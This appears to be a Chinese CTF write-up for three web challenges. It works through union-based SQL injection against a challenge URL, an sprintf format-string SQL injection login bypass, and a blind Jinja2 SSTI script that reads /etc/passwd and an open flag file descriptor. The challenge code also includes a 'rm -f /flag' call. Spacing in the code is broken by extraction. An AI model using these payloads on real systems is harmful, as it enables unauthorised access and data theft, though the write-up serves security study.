http://eci-2ze6d5v7ffp8qeidk7g8.cloudeci1.ichunqiu.com/index.php?_POST[code]=233333' and '0'='1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() and '1
post: code=233333' and '0'='1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() and '1
注意! 下载直链为:file,flag
http://eci-2ze6d5v7ffp8qeidk7g8.cloudeci1.ichunqiu.com/index.php?_POST[code]=233333' and '0'='1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name = 'flag post: 233333' and '0'='1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name = 'flag
注意! 下载直链为:flag
http://eci-2ze6d5v7ffp8qeidk7g8.cloudeci1.ichunqiu.com/index.php?_POST[code]=233333' and '0'='1' union select 1,2,flag from flag where '1 post: 233333' and '0'='1' union select 1,2,flag from flag where '1 注意! 下载直链为:flag{5e34cf8a-29ba-45a2-934a-f8c5d1e9eaa5}
publicfunctionlogin() { $this->filter(); $username = $_POST['username']; $password = $_POST['password']; $sql = "select * from user where username='%s' and password='$password'"; // password = %1$' || 1=1# // password = %1$\' or 1=1# //select * from user where username='%s' and password='%1$\' or 1=1# ' $sql = sprintf($sql,$username); $result = mysqli_query($this->mysqli,$sql); $result = mysqli_fetch_object($result); if($result->id){ return1; }else{ return0; }
在sql语句拼接中,先用简单拼接password,后用sprintf来格式化
很明显的sprintf格式化字符串漏洞
1 2 3 4
password = %1$' || 1=1# password = %1$\' or 1=1# filter() 函数后 select * from user where username='%s' and password='%1$\' or 1=1#' 拼接进去 select * from user where username='admin' and password='' or 1=1#' sprintf格式化后
from flask import Flask,request,render_template from jinja2 import Template import os
app = Flask(__name__)
f = open('/flag','r') flag = f.read() @app.route('/',methods=['GET','POST']) defhome(): name = request.args.get("name") or"" print(name) if name: return render_template('index.html',name=name) else: return render_template('index.html')
@app.route('/help',methods=['GET']) defhelp(): help = ''' ''' return f.read()
@app.errorhandler(404) defpage_not_found(e): #No way to get flag! os.system('rm -f /flag') url = name = request.args.get("name") or"" # r = request.path r = request.data.decode('utf8') if'eval'in r or'popen'in r or'{{'in r: t = Template(" Not found!") return render_template(t), 404 t = Template(r + " Not found!") return render_template(t), 404
if __name__ == '__main__': app.run(host='0.0.0.0',port=8888)
a = "{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{% if c.__init__.__globals__['__builtins__'].open('/etc/passwd').read()[0] == '{}' %}~p2~{% endif %}{% endif %}{% endfor %}"
flag = '' for j in range(17,300): for i in range(32,127): exp = "{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{% if c.__init__.__globals__['__builtins__'].open('/proc/self/fd/3').read()["+str(j)+"] == '" +chr(i) +"' %}~p2~{% endif %}{% endif %}{% endfor %}"
x = { '123':exp } r = requests.post(url=url, data=json.dumps(x)) if'p2'in r.text: # print(i) # print(r.text) flag += chr(i) print(flag) break #flag{464191d1-4265-4ff5-b4fd-e75f7cd08175}
1 2 3 4 5 6 7 8 9 10 11 12 13 14
> cat cmdline /home/fe1w0/miniconda3/bin/python3/home/fe1w0/Flask.py% !w /proc/6263 ------------------------------------------------------------------------------------------- at 15:58:27 > ls fd -al total 0 dr-x------ 2 fe1w0 fe1w0 0 Nov 14 15:57 . dr-xr-xr-x 9 fe1w0 fe1w0 0 Nov 14 15:57 .. lrwx------ 1 fe1w0 fe1w0 64 Nov 14 15:57 0 -> /dev/pts/4 lrwx------ 1 fe1w0 fe1w0 64 Nov 14 15:57 1 -> /dev/pts/4 lrwx------ 1 fe1w0 fe1w0 64 Nov 14 15:57 2 -> /dev/pts/4 lr-x------ 1 fe1w0 fe1w0 64 Nov 14 15:57 3 -> /dev/urandom lr-x------ 1 fe1w0 fe1w0 64 Nov 14 15:57 4 -> /flag lrwx------ 1 fe1w0 fe1w0 64 Nov 14 15:57 5 -> 'socket:[115502]' lrwx------ 1 fe1w0 fe1w0 64 Nov 14 15:57 6 -> 'socket:[115502]'